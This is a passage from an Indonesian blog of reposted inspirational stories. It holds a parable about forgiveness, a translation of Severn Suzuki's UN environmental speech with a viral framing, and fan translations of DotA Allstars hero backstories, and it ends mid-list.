Murid2 harus membawa kantong plastik berisi kentang tersebut kemana saja
mereka pergi bahkan ke toilet sekalipun selama 1 mingggu. Hari berganti hari, kentang2 pun mulai membusuk, murid2 mulai mengeluh, apalagi yang membawa 5 buah kentang, selain berat baunya juga tidak sedap.

Setelah 1 minggu murid2 TK tersebut merasa lega karena penderitaan mereka akan segera berakhir.

Guru:”Bagaimana rasanya membawa kentang selama 1 minggu?”
Keluarlah keluhan dari murid2 TK tersebut, pada umumnya mereka tidak merasa nyaman harus membawa kentang2 busuk tersebut kemanapun mereka pergi. Guru pun menjelaskan apa arti dari “permainan” yang mereka lakukan.

Guru: “Seperti itulah kebencian yang selalu kita bawa-bawa apabila kita tidak bisa memaafkan orang lain.” Sungguh sangat tidak menyenangkan membawa kentang busuk kemanapun kita pergi. Itu hanya 1 minggu bagaimana jika kita membawa kebencian itu seumur hidup?

“Alangkah tidak nyamannya… ..”

Sebaliknya, enak dan nyaman sekali hidup di mana pun dan pergi ke mana pun tanpa membawa rasa kebencian hingga pikiran kita bisa jernih dan terbuka lebar hanya untukmemikirkan hal-hal yang positif saja……..

Memaafkan itu jauh lebih baik…


Sungguh sangat menyentuh pelajaran yang mereka alami. semoga dari pengalaman anak anak TK diatas, kita dapat memetik hikmah yang dapat menjadi pegangan kita dalam menjalani hidup yang lebih baik.

anything would be easier, lighter and more comfortable if we live this life without 'hatred'.

trust me! :)


source : http://www.rudydewanto.web.id/2010/04/enam-6-inspirasi-kamar-remaja.html

Selengkapnya...

Selasa, 29 Juni 2010

Pidato menakjuban anak 12 tahun di ruang sidang PBB

Cerita ini berbicara mengenai seorang anak yg bernama Severn Suzuki,
seorang anak yg pada usia 9 tahun telah mendirikan Enviromental
Children's Organization ( ECO ).
ECO sendiri adalah sebuah kelompok kecil anak yg mendedikasikan diri
untuk belajar dan mengajarkan pada anak" lain mengenai masalah
lingkungan.
Dan mereka pun diundang menghadiri Konfrensi Lingkungan hidup PBB,
dimana pada saat itu Severn yg berusia 12 Tahun memberikan sebuah
pidato kuat yg memberikan pengaruh besar ( dan membungkam ) beberapa
pemimpin dunia terkemuka.
Apa yg disampaikan oleh seorang anak kecil ber-usia 12 tahun hingga
bisa membuat RUANG SIDANG PBB hening, lalu saat pidatonya selesai
ruang sidang penuh dengan orang terkemuka yg berdiri dan memberikan
tepuk tangan yg meriah kepada anak berusia 12 tahun.
Inilah Isi pidato tersebut: (Sumber: The Collage Foundation)
Halo, nama Saya Severn Suzuki, berbicara mewakili E.C.O - Enviromental
Children Organization
Kami adalah kelompok dari Kanada yg terdiri dari anak-anak berusia 12
dan 13 tahun, yang mencoba membuat perbedaan: Vanessa Suttie, Morga,
Geister, Michelle Quiq dan saya sendiri. Kami menggalang dana untuk
bisa datang kesini sejauh 6000 mil untuk memberitahukan pada anda
sekalian orang dewasa bahwa anda harus mengubah cara anda, hari ini di
sini juga. Saya tidak memiliki agenda tersembunyi. Saya menginginkan
masa depan bagi diri saya saja.
Kehilangan masa depan tidaklah sama seperti kalah dalam pemilihan umum
atau rugi dalam pasar saham. Saya berada disini untuk berbicara bagi
semua generasi yg akan datang.
Saya berada disini mewakili anak-anak yg kelaparan di seluruh dunia
yang tangisannya tidak lagi terdengar.
Saya berada disini untuk berbicara bagi binatang-binatang yang sekarat
yang tidak terhitung jumlahnya diseluruh planet ini karena kehilangan
habitatnya. Kami tidak boleh tidak di dengar.
Saya merasa takut untuk berada dibawah sinar matahari karena
berlubangnya lapisan OZON. Saya merasa takut untuk bernafas karena
saya tidak tahu ada bahan kimia apa yg dibawa oleh udara.
Saya sering memancing di Vancouver bersama ayah saya hingga beberapa
tahun yang lalu kami menemukan bahwa ikan-ikannya penuh dengan kanker.
Dan sekarang kami mendengar bahwa binatang-binatang dan tumbuhan satu
persatu mengalami kepunahan tiap harinya - hilang selamanya.
Dalam hidup saya, saya memiliki mimpi untuk melihat kumpulan besar
binatang-binatang liar, hutan rimba dan hutan tropis yang penuh dengan
burung dan kupu-kupu. Tetapi sekarang saya tidak tahu apakah hal-hal
tersebut bahkan masih ada untuk dilihat oleh anak saya nantinya.
Apakah anda sekalian harus khawatir terhadap masalah-masalah kecil ini
ketika anda sekalian masih berusia sama serperti saya sekarang?
Semua ini terjadi di hadapan kita dan walaupun begitu kita masih tetap
bersikap bagaikan kita masih memiliki banyak waktu dan semua
pemecahannya. Saya hanyalah seorang anak kecil dan saya tidak memiliki
semua pemecahannya. Tetapi saya ingin anda sekalian menyadari bahwa
anda sekalian juga sama seperti saya!
Anda tidak tahu bagaimana caranya memperbaiki lubang pada lapisan ozon kita.
Anda tidak tahu bagaiman cara mengembalikan ikan-ikan salmon ke sungai
asalnya.
Anda tidak tahu bagaimana caranya mengembalikan binatang-binatang yang
telah punah.
Dan anda tidak dapat mengembalikan hutan-hutan seperti sediakala di
tempatnya, yang sekarang hanya berupa padang pasir. Jika anda tidak
tahu bagaima cara memperbaikinya. TOLONG BERHENTI MERUSAKNYA!
Disini anda adalah delegasi negara-negara anda. Pengusaha, anggota
perhimpunan, wartawan atau politisi - tetapi sebenarnya anda adalah
ayah dan ibu, saudara laki-laki dan saudara perempuan, paman dan bibi
- dan anda semua adalah anak dari seseorang.
Saya hanyalah seorang anak kecil, namun saya tahu bahwa kita semua
adalah bagian dari sebuah keluarga besar, yang beranggotakan lebih
dari 5 milyar, terdiri dari 30 juta rumpun dan kita semua berbagi
udara, air dan tanah di planet yang sama - perbatasan dan pemerintahan
tidak akan mengubah hal tersebut.
Saya hanyalah seorang anak kecil namun begitu saya tahu bahwa kita
semua menghadapi permasalahan yang sama dan kita seharusnya bersatu
untuk tujuan yang sama.
Walaupun marah, namun saya tidak buta, dan walaupun takut, saya tidak
ragu untuk memberitahukan dunia apa yang saya rasakan.
Di negara saya, kami sangat banyak melakukan penyia-nyiaan. Kami
membeli sesuatu dan kemudian membuang nya, beli dan kemudian buang.
Walaupun begitu tetap saja negara-negara di Utara tidak akan berbagi
dengan mereka yang memerlukan.
Bahkan ketika kita memiliki lebih dari cukup, kita merasa takut untuk
kehilangan sebagian kekayaan kita, kita takut untuk berbagi.
Di Kanada kami memiliki kehidupan yang nyaman, dengan sandang, pangan
dan papan yang berkecukupan - kami memiliki jam tangan, sepeda,
komputer dan perlengkapan televisi.
Dua hari yang lalu di Brazil sini, kami terkejut ketika kami
menghabiskan waktu dengan anak-anak yang hidup di jalanan. Dan salah
satu anak tersebut memberitahukan kepada kami: " Aku berharap aku
kaya, dan jika aku kaya, aku akan memberikan anak-anak jalanan
makanan, pakaian dan obat-obatan, tempat tinggal, cinta dan kasih
sayang " .
Jika seorang anak yang berada dijalanan dan tidak memiliki apapun,
bersedia untuk berbagi, mengapa kita yang memiliki segalanya masih
begitu serakah?
Saya tidak dapat berhenti memikirkan bahwa anak-anak tersebut berusia
sama dengan saya, bahwa tempat kelahiran anda dapat membuat perbedaan
yang begitu besar, bahwa saya bisa saja menjadi salah satu dari
anak-anak yang hidup di Favellas di Rio; saya bisa saja menjadi anak
yang kelaparan di Somalia ; seorang korban perang timur tengah atau
pengemis di India .
Saya hanyalah seorang anak kecil, namun saya tahu bahwa jika semua
uang yang dihabiskan untuk perang dipakai untuk mengurangi tingkat
kemiskinan dan menemukan jawaban terhadap permasalahan alam, betapa
indah jadinya dunia ini.
Di sekolah, bahkan di taman kanak-kanak, anda mengajarkan kami untuk
berbuat baik. Anda mengajarkan pada kami untuk tidak berkelahi dengan
orang lain, untuk mencari jalan keluar, membereskan kekacauan yang
kita timbulkan; untuk tidak menyakiti makhluk hidup lain, untuk
berbagi dan tidak tamak. Lalu mengapa anda kemudian melakukan hal yang
anda ajarkan pada kami supaya tidak boleh dilakukan tersebut?
Jangan lupakan mengapa anda menghadiri konperensi ini, mengapa anda
melakukan hal ini - kami adalah anak-anak anda semua. Anda sekalianlah
yang memutuskan, dunia seperti apa yang akan kami tinggali. Orang tua
seharus nya dapat memberikan kenyamanan pada anak-anak mereka dengan
mengatakan, " Semuanya akan baik-baik saja , 'kami melakukan yang
terbaik yang dapat kami lakukan dan ini bukanlah akhir dari
segalanya.”
Tetapi saya tidak merasa bahwa anda dapat mengatakan hal tersebut
kepada kami lagi. Apakah kami bahkan ada dalam daftar prioritas anda
semua? Ayah saya selalu berkata, “Kamu akan selalu dikenang karena
perbuatanmu, bukan oleh kata-katamu”.
Jadi, apa yang anda lakukan membuat saya menangis pada malam hari.
Kalian orang dewasa berkata bahwa kalian menyayangi kami. Saya
menantang A N D A , cobalah untuk mewujudkan kata-kata tersebut.
Sekian dan terima kasih atas perhatiannya.
***********
Servern Cullis-Suzuki telah membungkam satu ruang sidang Konperensi
PBB, membungkam seluruh orang-orang penting dari seluruh dunia hanya
dengan pidatonya. Setelah pidatonya selesai serempak seluruh orang
yang hadir diruang pidato tersebut berdiri dan memberikan tepuk tangan
yang meriah kepada anak berusia 12 tahun itu.
Dan setelah itu, ketua PBB mengatakan dalam pidatonya:
" Hari ini saya merasa sangatlah malu terhadap diri saya sendiri
karena saya baru saja disadarkan betapa pentingnya linkungan dan
isinya disekitar kita oleh anak yang hanya berusia 12 tahun, yang maju
berdiri di mimbar ini tanpa selembarpun naskah untuk berpidato.
Sedangkan saya maju membawa berlembar naskah yang telah dibuat oleh
asisten saya kemarin. Saya ... tidak kita semua dikalahkan oleh anak
yang berusia 12 tahun "

untuk melihat secara jelas :
video The girl who silenced the world for 5 minutes

source : http://bungacerita.blogspot.com/2010/01/pidato-menakjuban-anak-12-tahun-di.html Selengkapnya...

Sabtu, 05 Juni 2010

STORY BEHIND DOTA ALLSTARS HEROES part.III

Darkterror - Faceless Void

Mereka berkata bahwa dia dulunya seorang manusia, tapi latar belakangnya dipenuhi dengan kegelapan, bahkan kepada dirinya. Apa yang kami tahu bahwa dia diasingkan ke dimensi antara dua dunia dan telah menyatu dengan kekuatan memanipulasi waktu. Dia dapat melambatkan musuhnya dengan perjalanan waktu dan menghindari ... See Moreserangan dengan kembali ke sepersekian detik sebelumnya, tepat sebelum menerima serangan. Dia dapat menghentikan waktu untuk membekukan musuh dan teman disekitarnya, membuatnya bebas bergerak. Dikatakan bahwa dia dapat menyerang siapa saja dalam suatu pasukan, tapi tak ada yang melihatnya bergerak.

Viper - Netherdrake

Seekor Drake misterius yang dijinakan oleh Lich King sendiri, Viper adalah mahluk yang meludahkan racun dan memiliki kecepatan yang dapat mengejutkan ksatria yang paling cepat. Mengutuk dirinya kedalam kegilaan, Viper pergi ke medan perang tanpa melindungi dirinya sneidir. Ludahnya yang penuh dengan racun mengakibatkan musuhnya berteriak kesakitan, melukai jaringan darah mereka. Berhati-hatilah ketika berhadapan dengan monster kuat ini...bayangan gelapnya mungkin adalah hal terakhir yang dapat kamu lihat.

Razor - Lightning Revenant


Razor adalah reinkarnasi dari petir. Dia adalah mahluk hidup, yang hanya dapat mengeluarkan kekuatan listrik hebatnya kepada siapapun dan apapun yang berada disekitarnya. Sesuatu yang membuatnya dihargai adalah keahliannya untuk mengendalikan kekuatannya, yang tidak akan pernah menyerang siapapun yang dia kenal sebagai rekan. Seperti namanya, dia menyayat sampai ke tulang, dengan kecepatan dan ketepatan, kadang-kadang berpindah dari satu musuh ke musuh lainnya. Wujudnya yang ramping memberikannya kecepatan, dan haus akan darah. Dia adalah kekuatan yang sangat hebat, dan hanya seorang yang hebat yang berani menghadapinya.

Naix - Lifestealer

Dulu ada seorang manusia di Lordaeron yang menjadi sangat serakah dan merasa bahwa dialah yang paling hebat. Tertangkap ketika mencoba mencuri cincin sakral Pangeran Arthas, dia dihakimi dan digantung. Tapi tubuhnya, menjadi rusak karena keinginannya untuk mencuri, telah bangkit kembali menjadi bentuk ghoul yang mengerikan. Maka dia disebut N'aix, nama aslinya dulu sudah lama dilupakan: perwujudan dari kebencian dan keserakahan, dapat mencuri kehidupan dari setiap mahluk hidup yang dihadapinya.

Pugna - Oblivion


Dibangkitkan dari kematian dengan sedikit ingatan dirinya dulu, Wujud pugna sangatlah mengerikan untuk dilihat. Memiliki keahlian dalam sihir Necromantic, tulang belulang hidup ini memiliki kepuasan sadis dengan mengirim musuhnya kedalam dimensi lain dan menyambut kembalinya mereka dengan ledakan energi jahat. Siapapun yang selamat dari serangannya akan melihat dengan mata kepalanya sendiri bagaimana sang Oblivion menghisap kehidupan dari musuhnya, memberinya kekuatan, dan cita rasa dari kehidupan.

Leviathan - Tide Hunter

Yang paling hebat dari semua raksasa lautan, Leviathan dikurung setelah perang antara Dewa Tua dan para Titan pada jaman dulu. Sekarang dibebaskan oleh Sang Lich King untuk membantunya melawan Sentinel, dia menerjang gelombang pasukan musuhnya dengan Kait Kapal miliknya, menghancurkan musuhnya bahkan sebelum peperangan ... See Moredimulai. Musuh yang mengerikan baik di darat atau di laut, siapapun yang berdiri didepan sang Tidehunter akan disapu oleh lautan duri, membuat mereka tak berdaya ketika dia mendekat untuk memberikan kemarahannya kepada siapapun yang tersisa.

Atropos - Bane Elemental

Atropos adalah wujud kekuatan elemental yang berasal dari mimpi buruk dan rasa takut akan dunia ini. Dia muncul dimana ada sesuatu yang menciptakan kengerian dan rasa takut. Menyerap jiwa lawannya untuk menyembuhkan dirinya. Mengurung musuhnya dengan ketakutan mereka, membuat mereka menjadi lemah untuk bertarung. Dia senang ketika mengirim musuhnya kedalam mimpi buruk. Ketika dibutuhkan dia dapat mengambil jiwa jahatnya dan mengirimnya untuk musuhnya, membuat mereka tidak dapat bergerak karena putus asa dan rasa sakit. Atropos mewakili satu kata, ketakutan.

Rotund'jere - Necrolyte

Dibantai karena dosa oleh manusia yang menganggap diri mereka suci, kematian hanya dihadiahkan kepada Rotund'Jere dengan kemarahan hebat bagi mereka yang hidup, bahwa dia dapat mengirimkan roh jahat kepada musuhnya. Mengambil kesenangan dan menjadi lebih kuat ketika mahluk hidup mati ditangannya, setiap langkah darinya berbau kematian, dan kehadirannya membuat mahluk hidup menjadi busuk dan layu. Sekarang dia seorang ahli dalam siksaan dan rasa sakit, sang Necrolyte tanpa ampun membunuh semua orang yang berada di jalannya, dengan senyum mengerikan di wajahnya.

Pudge - Butcher

Menunjukkan kekuatan kematian dengan tenaga brutal, Pudge menjelajahi medan perang untuk mencari daging segar yang akan dia lekatkan dengan tubuhnya sendiri yang mengerikan. Dari tahun ke tahun, kulitnya menjadi semakin kuat terhadap serangan sihir, sementara bau busuk dari tubuhnya cukup kuat untuk membunuh ksatria musuh yang paling berani. Dengan kaitnya, dia dapat menyeret musuh ke kematian mereka dengan tangannya yang kuat dalam hitungan detik. sang Butcher adalah monster yang ditakuti oleh musuhnya atau rekannya.

Barathum - Spirit Breaker

Seorang yang diasingkan dari suku Spirithoof, Barathum mundur dengan rasa malu menuju Daratan Ethereal, memakan arwah penasaran untuk bertahan hidup, dan mengembara tanpa tujuan selama berabad-abad, sendirian dan menyedihkan. Ditemukan dan direkrut oleh Lich King, Barathum memiliki kecepatan dan kekuatan seperti hantu yang tertidur dalam dirinya dan sekarang telah dibangkitkan, lenteranya mampu mengeluarkan energi nether kepada musuhnya, membuat mereka mundur dengan kekuatan besar. Dengan keahlian untuk mendekati jarak antara dirinya dan targetnya dalam sekejap mata, Barathum sang Spiritbreaker tak akan pernah tertandingi.

Anub'seran - Nerubian Weaver

Anub'seran. Nama dari mahluk ini memberikan ketakutan kepada mereka semua yang telah melihat para Nerubians. Bahkan pembunuh yang terkenal Anub'arak enggan melawan binatang buas ini, yang datang dari dunia arwah. Dia dapat berlari melalui musuhnya, membengkokkan tubuh mereka dengan keinginannya, mengakibatkan rasa sakit... See More ketika dia melangkah melalui mereka. Dengan kekuatannya di dunia tanpa waktu, dia juga dapat mengirim dirinya kemasa lalu untuk menyelamatkan dirinya dari kematian. Dia dapat menciptakan serangan dari masa depan untuk menyerang musuhnya, membuatnya semakin mematikan. Anub'seran. Hanya orang bodoh yang tidak takut akan namanya.

Nevermore - Shadow Fiend

Seorang Iblis dari Burning Legion yang sangat mengerikan dan bahkan memiliki kulit yang terdiri dari iblis kecil yang merayap, Nevermore adalah mahluk bayangan yang mengkonsumi jiwa mereka yang berada di sekitarnya.Ketika sang Shadow Fiend pergi bertempur, dia meningkatkan kekuatannya dengan jiwa yang dia konsumsi, menyerang musuhnya dengan kekuatan spiritual dan ledakan spiritual yang dasyat.Sang Shadow Fiend adalah musuh yang mengerikan bagi mereka yang selamat darinya, dan siapapun yang merasakan kehebatannya akan merasa ketakutan.

Crixalis - Sand King

Crixalis adalah kalajengking biasa di gurun Kalimdor. Karena alasan yang tak diketahui, dia berevolusi lebih cepat dari saudaranya, tumbuh sangat besar. Karena dia masih terikat dengan pengendalian pikiran dari Lich King, dia dipanggil dan sekarang menjaga Frozen Throne. Meskipun lebih besar, Crixalis masih memiliki keahlian seekor kalajengking, seperti menggali tanah dan muncul entah dimana, mengagetkan semua dengan kemunculannya. Ekornya mengandung racun mematikan, yang menyebabkan musuhnya meledak. Mata-mata telah menemukan bahwa dia dapat menciptakan gempa bumi dasyat, membunuh semua yang berada dekat dengannya.

Mogul Khan - Axe

Dalam peperangan antara Manusia dan Orc yang berlangsung sejak dulu, banyak Ksatria Orc yang terhasut oleh para Iblis dan diperalat oleh kegelapan. Ada satu Ksatria yang menjadi pemimpin Clan Kampak Berdarah ( Bloodied Axe ) yaitu Mogul Kahn. Mogul dibunuh oleh Paladin Manusia tapi secara misterius terlihat berperang bersama the Scourge ketika Mannoroth mulai memerintah para Orc dalam perang melawan Archimonde. Sang Axe telah dibangkitkan oleh iblis dan menggunakan kekuatan Orc miliknya untuk memburu para Ksatria Sentinel dan membantainya, bahkan membuat mereka haus akan peperangan

Strygwyr - Blood Seeker

Campuran aneh dari Iblis dan Orc, Strygwy adalah mahluk asing dari semua mahluk hidup. Dengan memandikan dirinya dengan darah dari yang dibunuhnya, Strygwyr dapat menyembuhkan lukanya - bahkan luka yang fatal sekalipun. Berhati-hatilah bagi orang bodoh yang berpetualang sendiri, karena Strygwyr dapat mencium bau darahnya dari jarak jauh dan melihatnya melalui penglihatan mangsanya. Dapat melukai musuhnya dengan serangan hebat dari rasa haus darahnya, Strygwyr menyudutkan musuhnya untuk mengambil keputusan yang mustahil - mengeluarkan darah sampai mati karena mencoba lari darinya, atau dicabik-cabik dengan kukunya yang sangat tajam.

Abbadon - Lord Of Avernus

Mantan paladin yang sangat terkenal, Abaddon terjerumus kedalam kegelapan ketika invasi oleh Burning Legion, dihasut oleh banyak oblis, menghancurkan jiwanya dan kekuatannya. Sekarang menjadi Ksatria Kematian milik sang Lich King, dia menuju medan perang melawan musuh-musuhnya, tak pernah berhenti sebelum dia mencapai ... See Morepohon kehidupan itu sendiri. Dia melindungi dirinya dengan tameng dari energi jahat, atau menggunakan kekuatannya untuk menyembuhkan rekannya, sang Lord of Avernus memimpin pasukan Scourge digaris depan, selamanya terkurung dalam peperangan melawan kebaikan, dan musuhnya adalah bekas pasukannya sendiri.

Mercurial - Spectre

Kegelapan suci yang tercipta ketika dunia masih muda, Mercurial adalah kemarahan dan dendam didalam jiwa mereka yang telah lama mati. Memiliki kemiripan dengan arwah dan roh jahat, dia menghantui dan menakut-nakuti mahluk hidup tanpa henti, melambatkan mereka dengan bayangan hitam, dan dapat merubah energi kehidupan musuhnya yang sekarat menjadi kekuatan penghancur yang menyerang musuh dari Scourge, kemenangan bagi Frozen Throne.

Vol'jin - Witch Doctor

Vol'jin adalah pengambil resiko. Semua orang yang telah mengenalnya akan menceritakan hal itu. Sebagai pendeta voodoo, kamu akan mengetahuinya. Sayangnya dia tidak pernah belajar akibat dari kegagalan. Eksperimen Vol'jin didalam hutan sihir menciptakan hasil yang hebat - keahlian untuk mengikat luka, botol berisi kombinasi berbahaya dari tumbuh-tumbuhan yang dapat dilemparkan dari jauh, dan bahkan mengutuk untuk mengeluarkan kehidupan dari mahluk hidup. Tentu saja, tidak ada kekuatan tanpa peringatan. Ketika eksperimen Vol'jin menjadi semakin tidak stabil dan menghancurkan, sang Lich King akan bertindak.

Harbringer - Obsidian Destroyer

Patung yang tidak sengaja dihidupkan oleh necromancer milik Lich King, monster tanpa hati ini selalu menyerap kekuatan sihir di dunia disekitarnya. Karena itu dia dapat mengendalikan kekuatan batin miliknya dan mengembalikannya ketika dia mengucapkan mantra, dan juga rekan di sekitarnya. Bangga dan pintar, dia sangat senang ketika menghancurkan dan mengurung musuhnya dengan kekuatan psionic. Mahluk gelap dan jahat, dia menghancurkan apapun tanpa ampun, dan siapapun yang mencoba melawannya tidak akan pernah melihat matahari terbit lagi.

Demnon Lannik - Warlock

Dulunya dia adalah ketua suku Backsun yang hancur karena kendali Mannoroth ketika dulu, Lannik bergabung dengan Scourge untuk membayar hutangnya kepada sang Lich King Ner'zhul, yang memiliki suku Shadowmoon dan selalu membantu suku Blacksun bertahun-tahun lalu. Seorang ahli Iblis dan mantra penghancur, sang Warlcok ini suka menyiksa mahluk hidup, memadamkan mereka seperti lilin sampai tidak ada yang tersisa.

Meepo - Geomancer

Pemuja setia suku Pagan dari Germania dan hutan hitam, Meepo adalah arwah penasaran dari bumi yang senang mengubur musuhnya hidup-hidup dalam gundukan batu berduri, membuat mereka tak dapat bergerak sementara dia menghajar mereka dengan Sekop hebatnya. Yang paling mengganggu dari kekuatan sang Geomancer adalah keahliannya untuk ... See Moremenggandakan dirinya menjadi 4, masing-masing memiliki kekuatan sama seperti dirinya dan membuatnya 4 kali lebih menakutkan bagi siapapun yang kurang beruntung menghadapinya.

Dazzle - Shadow Priest


Mantan anggota suku Troll sebelum diambil alih oleh Scourge, Dazzle adalah seorang guru dalam sihir pendukung. Tapi, karena perjanjiannya dengan Kel-Thuzad untuk menyelamatkan hidupnya, dia menjadi jahat. Memiliki keahlian untuk menghancurkan pertahanan musuhnya sementara menyembuhkan rekannya, dia tidak dapat diremehkan. Rumor menyebar bahwa dia dapat menghidupkan kembali rekannya yang mati, sehingga mereka dapat berdiri lagi untuk mempertahankan kebanggan dari Frozen Throne.

Azgalor - Pit Lord

Salah satu dari para pelayan Lord Archimonde yang menjadi tersesat setelah kehancuran Burning Legion di Kalimdor, sang Iblis Azgalor yang mencintai kehancuran membuatnya menerima undangan Lich King untuk membantu Scourge dengan beberapa syarat. Pit Lord ini sangat senang ketika dia menurunkan hujan api kepada musuhnya dari langit, membakar mereka perlahan sementara mayat disekitarnya meledak dibawah kaki mereka. Dengan kekuatan kebencian dalam genggaman tangannya, tidak heran jika dia membawa banyak terror dalam pertempuran.

Dirge - Undying

Dinilai sebagai suatu spesimen yang mengerikan oleh siapapun yang melawannya, termasuk zombi pengikutnya. Dirge telah dibangkitkan dari kuburnya oleh Lich King dengan harapan membawa kekuatan kematian. Sementara kehadirannya tidak disukai oleh para Hero Scourge lainnya, keahliannya yang menakutkan, termasuk membangkitkan mayat hidup dan menebarkan ketakutan sehingga jantung musuhnya berhenti berdetak, dia dapat memberikan Scourge kemenangan yang dibutuhkan untuk menyelesaikan perang, selamanya.

Ish'kafel - Darkseer


Dikatakan sebagai seorang Hero yang ahli dalam memanipulasi diantara Hero Scourge lainnya, Ish'kafel sang Dark Seer, hidup diasingkan dari kaumnya, dan sangat aneh bahwa dia hanya mau berbicara kepada Lich King saja. Bakatnya yang sangat luar biasa, yang dapat mendukung dirinya atau temannya dalam hal bertahan dan menyerang, sangat sunyi dan cepat, bahkan mampu membunuh dalam pertempuran sebelum dimulai.


source: google,indogamers,egamesbox,ligagame,Davion Selengkapnya...

STORY BEHIND DOTA ALLSTARS HEROES part.II

Huskar - Sacred Warrior

Seorang Trolls dari suku Darkspear, lama setelah pengasingan mereka dari tanah terkutuk di Stranglethorn Vale, membuat mereka menjadi ras paling buas dalam pertempuran. Reputasi ini ditunjukan kepada Sentinel oleh Huskar, yang memiliki keahlian mengorbankan darahnya pada tombaknya untuk membakar musuhnya menjadi abu. ... See MoreDihormati sebagai orang suci oleh kaumnya, sang Sacred Warrior tidak takut dengan kematian, dan akan maju untuk bertempur di garis depan. Sangat bersemangat, dengan tujuan membawa Undead Scourge kepada akhir mereka.

Lanaya - Templar Assassin


Sang Ahli dari mahluk legendaris Aiur, Lanaya adalah seseorang yang memiliki keahlian dalam strategi pembunuhan untuk Sentinel. Kehlian psionic nya mengalir masuk dan keluar dalam pertempuran dan dapat digunakan untuk meningkatkan serangan ketika menyerang, untuk melindungi dirinya dari serangan musuh, atau menyamarkan dirinya menjadi tak terlihat sebelum muncul dan mengkagetkan musuhnya. Seringkali, musuh yang bertemu dengan Templar Assassin dalam pertempuran akan menyadari dirinya mati dan terkubur, nyawa mereka dicabut sedangkan dia kembali menyatu dengan bayangan, menunggu mangsa barunya.

Puck - Faerie Dragon

Ketika Sentinel mencari Hero untuk membantu mereka dalam peperangan melawan Scourge, mereka menemukan daratan hilang yang dihuni oleh Faerie Dragons yang misterius. Setelah penjelasan tentang konflik kepada Ratu Faerie dari Agrace, dia mengirimkan Puck, seorang penjaga pribadinya, untuk membantu berperang. Meskipun tubuhnya yang kecil dan kepribadiannya yang aneh, sang naga kecil membuktikan kekuatannya dalam medan perang, menyerang musuhnya dengan bola sihir, debu ajaib, dan keahlian untuk menghipnotis semua musuh dengan imajinasinya. Musuhnya belajar bahwa ukuran tubuh tidaklah penting dalam pertempuran, dan yang terlihat adalah, sangatlah menipu.

Terrorblade - Soulkeeper

Terrorblade adalah saudara kembar dari sang Anti-Mage. Keduanya adalah keturunan dari Night Elf, Terrorblade terhasut oleh kekuatan para undead, terjerumus semakin dalam menuju kegelapan dan tak dapat kembali, tumbuh besar, sayap seperti gargoyle adalah simbol kepergiannya dari dunia night elf. Menjadi ahli dalam ... See Moremenduplikasi diri dan manipulasi jiwa, dia memiliki keahlian untuk berubah menjadi bentuk iblis yang sangat menakutkan, mendapatkan kekuatan untuk melemparkan energi kepada musuhnya. Sabetan pedang bulannya yang sangat besar, dialah yang harus ditakuti di medan perang.

Lesrac - Tormented Soul

Siksaan disekitarku
Siksaan didalam diriku
Siksaan selalu denganku
Dan marilah kita menaklukkan musuh kita
Mereka tidak mengerti rasa sakit kita
Apakah kamu ?
Tidak
Tidak satu jiwapun dapat
Dan untuk itu
Kita harus membuat mereka merasakan siksaan
Siksaan yang berada didalam jiwaku

Kel'Thuzad - Lich

Dibangkitkan dari kematian oleh Lich King untuk melayaninya sebagai penyihir elit untuk menjaganya, sang Lich memiliki api beku dari Northrend yang dapat dikendalikannya. Ahli dalam meledakan es, bakatnya ketika masih hidup tetap ada meskipun telah mati. Menguasai inti sari dari sihir es, dia memiliki kekuatan untuk merubah es menjadi bola yang memantul dari musuh ke musuh, mengakibatkan rasa sakit yang luar biasa. Mengorbankan rekannya demi mendapatkan kekuatan sihir, sang Lich adalah seorang pembunuh tanpa wujud kematian.

Krobelus - Death Prophet

Krobelus menghabiskan kehidupannya sebagai anggota dari pemuja Kematian. Dia percaya bahwa dalam jalan kematian dan paduan yang sempurna telah memberi arwahnya kesempatan untuk menghancurkan mitos kehidupan. Dia menggunakan keahliannya untuk memanggil kelelawar pemakan daging dan arwah penasaran untuk memberikan kematian bagi siapapun yang masih mengalirkan darah di urat nadi mereka. Dia menajamkan kekuatannya dalam seni witchcraft, dan dia dapat membuat musuhnya membisu dalam ketakutan, menghilangkan konsentrasi untuk melakukan jurus. Dia adalah semua aspek dari kematian, dan ingin melihat semuanya berubah menjadi abu.

Lion - Demon Witch

Dengan menguasai kekuatan menakutkan yang dimiliki oleh penguasa iblis Archimonde, Lion adalah musuh yang sangat ditakuti dan dihormati didalam medan perang. Dulu dia adalah seorang penyihir dari Dalaran, dia tenggelam dalam sebuah seni sihir yang tidak diketahui dan menjadi terhasut oleh keinginan dari Frozen Throne. Dia adalah seorang penyihir yang sakti, yang dapat mengirim semua kutukan kepada musuhnya dan memiliki kekuatan tertinggi dari sihir iblis.

Lesale Deathbringer - Venomancer

Bagi mereka yang terobsesi dengan kematian, racun adalah sesuatu yang harus dipelajari. Tetapi, Lesale mempelajarinya terlalu jauh. Eksperiment yang dilakukan pada dirinya dengan bermacam-macam racun dan bahan kimia ingin membuatnya mengungkap rahasia kematian. Hal ini mempengaruhi pikirannya dan merubah tubuhnya ... See Moremenjadi mahluk yang penuh dengan kebencian kepada semua hal yang murni. Dia dapat menyerang musuhnya dengan serangan racun atau bahkan menyebarkan gas beracun disekitarnya, membuat semua mahluk hidup menjadi lemah.

Magnus - Magnataur


Mungkin yang paling kuat diantara semua Scourge, Magnus adalah kekuatan yang tak dapat diremehkan. Dilatih sejak lahir untuk menjadi Ksatria hebat, dia sekarang telah mencapai tingkat tertinggi dari kekuatannya. Kampak Raksasa Sang Magnataur dapat menebas semua musuhnya dan menciptakan gelombang penghancur tulang yang dapat mengalir melalui tanah. Menjadi lebih kuat dengan kekuatan sihir iblis yang menyatu dalam setiap serangannya, dia dapat menghancurkan musuhnya dengan mudah. Kekuatannya yang terhebat adalah, keahlian untuk menciptakan sebuah medan magnet yang sangat kuat, menghisap semua musuhnya untuk menemui ajal mereka.

Visage - Necro'lic


Dikembalikan pada kematian oleh Ratu Harpy misterius, seekor wyvern gagah ini dikembalikan menjadi Visage karena kegagalannya. Dihasut oleh kejahatan, Visage sekarang adalah tuan dari kematian; energi kuburan yang diserapnya membuatnya menjadi mesin pembunuh. Penghisap nyawa, dia dapat menyerap jiwa segar untuk menyembuhkan dan menghidupkan mereka yang mati menjadi mayat terbang yang membantunya bertarung.

Nessaj - Chaos Knight


